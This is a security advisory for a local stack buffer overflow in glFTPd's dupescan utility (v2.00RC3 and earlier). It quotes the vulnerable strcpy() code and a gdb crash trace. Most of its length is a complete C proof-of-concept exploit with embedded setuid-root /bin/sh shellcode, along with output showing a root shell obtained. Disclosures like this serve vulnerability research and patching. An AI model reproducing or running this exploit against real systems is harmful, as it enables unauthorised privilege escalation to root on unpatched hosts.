05 - glFTPd Local Stack Buffer Overflow Vulnerability, Linux/Unix-Compatible

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Advisory

· 19 Dec 2022

No System Group - Advisory #05 - 18/09/04

Program: glFTPd
Homepage: http://www.glftpd.com
Vulnerable Versions: glFTPd v2.00RC3 and prior
Risk: Low / Medium
Impact: Local Stack Buffer Overflow Vulnerability

DESCRIPTION

glFTPd is a very advanced ftp server with lots of possibilities. One of the main differences between many other ftp servers and glFTPd is that it has its own user database which can be completely maintained online using ftp site commands. Using ftp site commands it is also possible to see stats, view logs, execute scripts and do many more things. glFTPd runs within a chroot environment which makes it relatively safe.
The glFTPd team continuously works on improving this free piece of beautiful software.

More informations at: http://www.glftpd.com

DETAILS

This vulnerability is caused by an unsafe strcpy() that copies the entire parameter of the 'dupescan' to a stack buffer of 255 bytes.

--- dupescan.c --- 
39: int main (int argc, char *argv[]) { 
40:   FILE *fp; 
41:   char dupename[255], dupefile[255], Temp[255]; 
42:   struct dupefile buffer; 
43:   if (argc == 1){ 
44:     printf("USAGE: %s <filename>\n", argv[0]); 
45:     return 0; 
46:   } 
47: 
48:   read_conf_datapath(Temp); 
49:   sprintf(dupefile, "%s/logs/dupefile", Temp); 
50: 
51:   strcpy(dupename, argv[1]); <----- THE BUG 
52:   if((fp = fopen(dupefile, "r")) == NULL) 
53:     return 0; 
54: 
--- dupescan.c --- 

coki@nosystem:~$ /glftpd/bin/dupescan `perl -e 'print "A" x 300'` 
Done 
Segmentation fault 
coki@nosystem:~$ 

coki@nosystem:~$ gdb /glftpd/bin/dupescan 
GNU gdb 6.1.1 
Copyright 2004 Free Software Foundation, Inc. 
GDB is free software, covered by the GNU General Public License, and you are 
welcome to change it and/or distribute copies of it under certain conditions. 
Type "show copying" to see the conditions. 
There is absolutely no warranty for GDB.  Type "show warranty" for details. 
This GDB was configured as "i486-slackware-linux"...Using host libthread_db library "/lib/libthread_db.so.1". 

(gdb) r `perl -e 'print "A" x 300'` 
Starting program: /glftpd/bin/dupescan `perl -e 'print "A" x 300'` 
Done 

Program received signal SIGSEGV, Segmentation fault. 
0x41414141 in ?? () 
(gdb) quit 
The program is running.  Exit anyway? (y or n) y 
coki@nosystem:~$

EXPLOIT

-------------- glFTPd-dupe_exp.c ---------------- 
/* glFTPd local stack buffer overflow exploit 
   (Proof of Concept) 

   Tested in Slackware 9.0 / 9.1 / 10.0 

   by CoKi <coki@nosystem.com.ar> 
   No System Group - http://www.nosystem.com.ar 
*/ 

#include <stdio.h> 
#include <strings.h> 
#include <unistd.h> 

#define BUFFER 288 + 1 
#define PATH "/glftpd/bin/dupescan" 

char shellcode[]= 
	"\xb0\x31\xcd\x80\x89\xc3\x31\xc0\xb0\x17\xcd\x80" 
	"\x31\xdb\x31\xc0\xb0\x17\xcd\x80" 
	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46\x07" 
	"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb" 
	"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; 

int main(void) { 

	char *env[3] = {shellcode, NULL}; 
	char buf[BUFFER], *path; 
	int *buffer = (int *) (buf); 
	int i; 
	int ret = 0xbffffffa - strlen(shellcode) - strlen(PATH); 

	for(i=0; i<=BUFFER; i+=4) 
	*buffer++ = ret; 

	printf("\n glFTPd local stack buffer overflow (Proof of Concept)\n"); 
	printf(" by CoKi <coki@nosystem.com.ar>\n\n"); 

	execle(PATH, "dupescan", buf, NULL, env); 
} 

-------------- glFTPd-dupe_exp.c ---------------- 

coki@servidor:~$ make glFTPd-dupe_exp 
coki@servidor:~$ ./glFTPd-dupe_exp 

 glFTPd local stack buffer overflow (Proof of Concept) 
 by CoKi <coki@nosystem.com.ar> 

Done 
sh-2.05b# id 
uid=0(root) gid=100(users) groups=100(users),11(floppy),17(audio),18(video),19(cdrom) 
sh-2.05b#